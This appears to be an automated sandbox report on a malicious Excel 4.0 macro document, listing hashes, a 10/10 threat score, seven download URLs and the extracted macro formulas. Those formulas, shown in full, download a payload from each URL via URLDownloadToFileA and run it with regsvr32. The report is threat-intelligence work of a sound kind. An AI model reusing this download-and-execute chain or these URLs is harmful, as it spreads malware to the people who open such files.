General

  • Target

    3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b

  • Size

    35KB

  • Sample

    241120-pje98awqh1

  • MD5

    c5202b9f72707434d555cd0a93f14589

  • SHA1

    b07648ad3f2a6855170c949931c63ae28f098417

  • SHA256

    3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b

  • SHA512

    dde2632de16914b243400584a144c6494d70f832515a5ba38386e72b600654738409a644497888420931af9ba4ce4b175d636c5fe9526faef6528d98ec7de8d5

  • SSDEEP

    768:whtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:whtqigGUOZZ1ZYpoQ/pMA8i

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://bb2play.com/wzzx/9tamtuJMSndL/

https://romusreselling.xyz/wordpress/bSX/

https://localart.net/wp-content/uploads/I4c5SsknUlq/

https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/

https://grchen.top/wordpress/bIGq8phSAMn/

https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/

https://sarc.in/wp-admin/9IDe7r7/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bb2play.com/wzzx/9tamtuJMSndL/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/bSX/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://localart.net/wp-content/uploads/I4c5SsknUlq/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://grchen.top/wordpress/bIGq8phSAMn/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sarc.in/wp-admin/9IDe7r7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://bb2play.com/wzzx/9tamtuJMSndL/

xlm40.dropper

https://romusreselling.xyz/wordpress/bSX/

xlm40.dropper

https://localart.net/wp-content/uploads/I4c5SsknUlq/

xlm40.dropper

https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/

xlm40.dropper

https://grchen.top/wordpress/bIGq8phSAMn/

xlm40.dropper

https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/

xlm40.dropper

https://sarc.in/wp-admin/9IDe7r7/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://bb2play.com/wzzx/9tamtuJMSndL/

xlm40.dropper

https://romusreselling.xyz/wordpress/bSX/

xlm40.dropper

https://localart.net/wp-content/uploads/I4c5SsknUlq/

Targets

    • Target

      3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b

    • Size

      35KB

    • MD5

      c5202b9f72707434d555cd0a93f14589

    • SHA1

      b07648ad3f2a6855170c949931c63ae28f098417

    • SHA256

      3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b

    • SHA512

      dde2632de16914b243400584a144c6494d70f832515a5ba38386e72b600654738409a644497888420931af9ba4ce4b175d636c5fe9526faef6528d98ec7de8d5

    • SSDEEP

      768:whtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:whtqigGUOZZ1ZYpoQ/pMA8i

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks